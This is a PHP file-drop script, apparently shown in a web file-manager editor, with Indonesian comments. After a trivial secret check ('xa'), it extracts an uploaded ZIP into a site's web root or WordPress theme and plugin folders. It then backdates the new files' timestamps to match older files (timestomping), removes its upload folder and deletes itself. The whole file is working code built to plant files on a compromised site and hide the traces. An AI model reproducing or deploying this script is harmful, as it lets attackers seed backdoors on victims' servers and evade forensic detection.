← Back
Editing: upload.php
<?php /** * Advanced ZIP deploy (upload + unzip ke web root) * Metode ekstrak: ZipArchive::extractTo (sama seperti Unzipper klasik) * * POST multipart: * secret : harus sama dengan $SECRET_KEY * zipfile : file .zip * * Opsional: * extract : 1 * target : root | uploads | themes | plugins | path-relatif * keep_mtime : 1 (samakan timestamp: file timpa = mtime lama, file baru = mtime folder induk) * clean : 1 → hanya bersihkan folder zip_uploads (tanpa upload) * * Web root SELALU document root situs, BUKAN folder tempat upload.php berada. * Contoh: upload.php di /public_html/wp-content/ → extract ke /public_html/ * * Setelah sukses ATAU gagal → upload.php menghapus dirinya sendiri. */ // ============ KONFIGURASI ============ $SECRET_KEY = 'xa'; // Kosongkan agar auto-detect. Isi path absolut HANYA jika deteksi salah. // Contoh: '/home/u123/public_html' $WEB_ROOT_OVERRIDE = ''; $UPLOAD_DIR = __DIR__ . '/zip_uploads/'; // ZIP sementara tetap di samping script function clean_upload_dir(string $uploadDir): void { if (!is_dir($uploadDir)) { return; } $items = @scandir($uploadDir); if ($items !== false) { foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $uploadDir . DIRECTORY_SEPARATOR . $item; if (is_file($path) || is_link($path)) { @unlink($path); } elseif (is_dir($path)) { clean_upload_dir($path); } } } @rmdir($uploadDir); } /** * Hapus diri sendiri (upload.php) */ function self_destruct(): void { $self = __FILE__; if (is_file($self)) { @unlink($self); } } /* * Mode CLI harus diperiksa SEBELUM validasi POST/upload. */ if ( PHP_SAPI === 'cli' && isset($argv) && in_array('--clean', $argv, true) ) { clean_upload_dir($UPLOAD_DIR); echo "CLEAN OK\n"; echo "Removed: {$UPLOAD_DIR}\n"; exit(0); } header('Content-Type: text/plain; charset=utf-8'); function fail(int $code, string $msg): void { global $UPLOAD_DIR; clean_upload_dir($UPLOAD_DIR); http_response_code($code); echo $msg . "\n"; // kirim response dulu self_destruct(); // baru hapus diri sendiri exit; } $MAX_BYTES = 80 * 1024 * 1024; $AUTO_EXTRACT = true; $DEFAULT_KEEP_MTIME = true; // File yang tidak boleh ditimpa (di-backup dulu, lalu dipulihkan setelah extract) $PROTECT = [ 'wp-config.php', 'wp-config-sample.php', '.htaccess', 'upload.php', ]; /** * Cari root web yang sebenarnya, independen dari lokasi upload.php. */ function detect_web_root(string $override): string { if ($override !== '') { $r = realpath($override); if ($r !== false && is_dir($r)) { return $r; } fail(500, 'WEB_ROOT_OVERRIDE tidak valid: ' . $override); } $docRaw = isset($_SERVER['DOCUMENT_ROOT']) ? (string) $_SERVER['DOCUMENT_ROOT'] : ''; if ($docRaw !== '') { $r = realpath($docRaw); if ($r !== false && is_dir($r)) { return $r; } if (is_dir($docRaw)) { return rtrim($docRaw, '/\\'); } } $dir = realpath(__DIR__); if ($dir === false) { $dir = __DIR__; } for ($i = 0; $i < 12; $i++) { $isWp = is_file($dir . '/wp-config.php') || is_file($dir . '/wp-load.php') || (is_file($dir . '/index.php') && is_dir($dir . '/wp-includes')); $isPublic = (is_file($dir . '/index.php') || is_file($dir . '/index.html')) && (basename($dir) === 'public_html' || basename($dir) === 'www' || basename($dir) === 'htdocs' || basename($dir) === 'httpdocs' || basename($dir) === 'public'); if ($isWp || $isPublic) { return $dir; } $parent = dirname($dir); if ($parent === $dir) { break; } $dir = $parent; } if ($docRaw !== '') { return rtrim($docRaw, '/\\'); } $fallback = realpath(__DIR__); return $fallback !== false ? $fallback : __DIR__; } function under_root(string $rootReal, string $path): bool { $root = rtrim(str_replace('\\', '/', $rootReal), '/') . '/'; $p = str_replace('\\', '/', $path); return str_starts_with($p, $root) || rtrim($p, '/') === rtrim($root, '/'); } function resolve_target(string $webRoot, string $requested): string { $map = [ 'root' => $webRoot, 'web' => $webRoot, 'uploads' => $webRoot . '/wp-content/uploads', 'themes' => $webRoot . '/wp-content/themes', 'plugins' => $webRoot . '/wp-content/plugins', ]; $key = strtolower(trim($requested)); if ($key === '' || isset($map[$key])) { $dest = $map[$key === '' ? 'root' : $key]; } else { $rel = ltrim(str_replace('\\', '/', $requested), '/'); if ($rel === '' || str_contains($rel, '..')) { fail(400, 'Target tidak valid (path mengandung ..).'); } $dest = $webRoot . '/' . $rel; } if (!is_dir($dest) && !@mkdir($dest, 0755, true)) { fail(500, 'Gagal membuat folder target: ' . $dest); } $real = realpath($dest); $rootReal = realpath($webRoot); if ($real === false || $rootReal === false || !under_root($rootReal, $real)) { fail(400, 'Target di luar web root.'); } return $real; } function is_protected_name(string $basename, array $protect): bool { $b = strtolower($basename); foreach ($protect as $name) { if ($b === strtolower($name)) { return true; } } return false; } function oldest_mtime_in_dir(string $dir): ?int { if (!is_dir($dir)) { return null; } $oldest = null; $dh = @opendir($dir); if ($dh === false) { return null; } while (($item = readdir($dh)) !== false) { if ($item === '.' || $item === '..') { continue; } $path = $dir . DIRECTORY_SEPARATOR . $item; $mt = @filemtime($path); if ($mt === false) { continue; } if ($oldest === null || $mt < $oldest) { $oldest = $mt; } } closedir($dh); $dirMt = @filemtime($dir); if ($dirMt !== false && ($oldest === null || $dirMt < $oldest)) { $oldest = $dirMt; } return $oldest; } function set_mtime(string $absPath, int $mtime): void { if ($mtime > 0) { @touch($absPath, $mtime, $mtime); } } // ==================== MULAI VALIDASI ==================== if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') { fail(405, 'Hanya metode POST yang diizinkan.'); } $given = $_POST['secret'] ?? $_SERVER['HTTP_X_UPLOAD_SECRET'] ?? ''; if (!hash_equals($SECRET_KEY, (string) $given)) { fail(403, 'Secret tidak valid.'); } // ========== MODE CLEAN VIA HTTP ========== // Kirim: secret=xa & clean=1 (tanpa zipfile) if (isset($_POST['clean']) && (string) $_POST['clean'] === '1') { clean_upload_dir($UPLOAD_DIR); echo "CLEAN OK\n"; echo "Removed: {$UPLOAD_DIR}\n"; self_destruct(); // hapus diri sendiri juga setelah clean exit(0); } // ========== MODE UPLOAD ZIP ========== if (!isset($_FILES['zipfile']) || !is_uploaded_file($_FILES['zipfile']['tmp_name'])) { fail(400, 'Tidak ada file zipfile yang diunggah.'); } $file = $_FILES['zipfile']; if ($file['error'] !== UPLOAD_ERR_OK) { fail(400, 'Error upload PHP code: ' . $file['error']); } if ($file['size'] > $MAX_BYTES) { fail(413, 'File terlalu besar.'); } $origName = (string) $file['name']; $ext = strtolower(pathinfo($origName, PATHINFO_EXTENSION)); if ($ext !== 'zip') { fail(415, 'Hanya file .zip yang diizinkan.'); } $safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', basename($origName)); if ($safeName === '' || $safeName === '.' || $safeName === '.zip') { $safeName = 'upload_' . date('Ymd_His') . '.zip'; } if (!is_dir($UPLOAD_DIR) && !@mkdir($UPLOAD_DIR, 0755, true)) { fail(500, 'Gagal membuat folder upload: ' . $UPLOAD_DIR); } $targetZip = rtrim($UPLOAD_DIR, '/\\') . DIRECTORY_SEPARATOR . $safeName; if (!move_uploaded_file($file['tmp_name'], $targetZip)) { fail(500, 'Gagal menyimpan file ZIP (permission?).'); } echo "OK: ZIP tersimpan sebagai {$safeName}\n"; echo "ZIP path: {$targetZip}\n"; $doExtract = $AUTO_EXTRACT; if (isset($_POST['extract'])) { $doExtract = ((string) $_POST['extract'] === '1'); } if (!$doExtract) { echo "Tidak diekstrak (extract=0).\n"; clean_upload_dir($UPLOAD_DIR); echo "Cleanup: ZIP dan folder zip_uploads telah dihapus.\n"; self_destruct(); // hapus diri sendiri exit(0); } if (!class_exists('ZipArchive')) { fail(500, 'Error: PHP tidak mendukung ZipArchive. Aktifkan ekstensi zip.'); } $webRootReal = detect_web_root($WEB_ROOT_OVERRIDE); echo "Web root : {$webRootReal}\n"; echo "Script dir : " . (__DIR__) . "\n"; echo "DOC_ROOT : " . ($_SERVER['DOCUMENT_ROOT'] ?? '(kosong)') . "\n"; $requestedTarget = (string) ($_POST['target'] ?? 'root'); $extractRoot = resolve_target($webRootReal, $requestedTarget); if (!is_writable($extractRoot)) { fail(500, 'Error: Directory not writeable by webserver: ' . $extractRoot); } $keepMtime = $DEFAULT_KEEP_MTIME; if (isset($_POST['keep_mtime'])) { $keepMtime = ((string) $_POST['keep_mtime'] === '1'); } // --- Buka ZIP & cek path (tolak zip-slip) --- $zip = new ZipArchive(); $openResult = $zip->open($targetZip); if ($openResult !== true) { fail(400, 'Error: Cannot read .zip archive. Kode: ' . $openResult); } $entries = []; $oldMtimes = []; $parentOldest = []; $protectedBackups = []; for ($i = 0; $i < $zip->numFiles; $i++) { $name = $zip->getNameIndex($i); if ($name === false) { continue; } $name = str_replace('\\', '/', $name); $name = ltrim($name, '/'); if ($name === '' || str_contains($name, '../') || str_starts_with($name, '..')) { $zip->close(); fail(400, 'ZIP ditolak: path tidak aman (zip-slip): ' . $name); } $entries[] = $name; $abs = $extractRoot . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $name); $parentAbs = dirname($abs); if (file_exists($abs)) { $mt = @filemtime($abs); if ($mt !== false) { $oldMtimes[$name] = $mt; } } if ($keepMtime && !isset($parentOldest[$parentAbs])) { $oldest = oldest_mtime_in_dir($parentAbs); if ($oldest !== null) { $parentOldest[$parentAbs] = $oldest; } } if (is_file($abs) && is_protected_name(basename($abs), $PROTECT)) { $bak = $abs . '.bak_upload_' . time(); if (@copy($abs, $bak)) { $protectedBackups[$name] = $bak; } } } if ($keepMtime && is_dir($extractRoot)) { $rootMt = @filemtime($extractRoot); if ($rootMt !== false) { $oldMtimes['.'] = $rootMt; } if (!isset($parentOldest[$extractRoot])) { $oldest = oldest_mtime_in_dir($extractRoot); if ($oldest !== null) { $parentOldest[$extractRoot] = $oldest; } } } // --- Ekstrak --- $ok = @$zip->extractTo($extractRoot); $zip->close(); if ($ok !== true) { fail(500, 'Error: extractTo gagal. Cek permission folder tujuan.'); } echo "Diekstrak ke: {$extractRoot}\n"; echo "Entri ZIP : " . count($entries) . "\n"; // Restore protected + terapkan timestamp $restored = 0; $mtimeRestored = 0; $mtimeNew = 0; foreach ($entries as $name) { $abs = $extractRoot . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $name); $isDirEntry = str_ends_with($name, '/'); if ($isDirEntry) { if (!$keepMtime || !is_dir($abs)) { continue; } if (isset($oldMtimes[$name])) { set_mtime($abs, $oldMtimes[$name]); $mtimeRestored++; } else { $parentAbs = dirname($abs); $ref = $parentOldest[$parentAbs] ?? $parentOldest[$extractRoot] ?? null; if ($ref === null) { $ref = oldest_mtime_in_dir($parentAbs); } if ($ref !== null) { set_mtime($abs, $ref); $mtimeNew++; } } continue; } if (!file_exists($abs)) { continue; } if (isset($protectedBackups[$name])) { @unlink($abs); if (@rename($protectedBackups[$name], $abs)) { $restored++; } else { @copy($protectedBackups[$name], $abs); @unlink($protectedBackups[$name]); $restored++; } continue; } if (!$keepMtime) { continue; } if (isset($oldMtimes[$name])) { set_mtime($abs, $oldMtimes[$name]); $mtimeRestored++; } else { $parentAbs = dirname($abs); $ref = $parentOldest[$parentAbs] ?? null; if ($ref === null) { $ref = oldest_mtime_in_dir($parentAbs); if ($ref === null) { $ref = $parentOldest[$extractRoot] ?? oldest_mtime_in_dir($extractRoot); } } if ($ref !== null) { set_mtime($abs, $ref); $mtimeNew++; } } } if ($keepMtime && isset($oldMtimes['.']) && is_dir($extractRoot)) { set_mtime($extractRoot, $oldMtimes['.']); } foreach ($protectedBackups as $bak) { if (is_file($bak)) { @unlink($bak); } } echo "File dilindungi dipulihkan: {$restored}\n"; echo "mtime dipulihkan (timpa) : {$mtimeRestored}\n"; echo "mtime file/folder baru : {$mtimeNew}\n"; echo "Status: Files unzipped successfully\n"; clean_upload_dir($UPLOAD_DIR); echo "Cleanup: ZIP dan folder zip_uploads telah dihapus.\n"; self_destruct(); // ← hapus diri sendiri setelah sukses echo "Self-destruct: upload.php telah dihapus.\n"; exit(0);
Save File
Cancel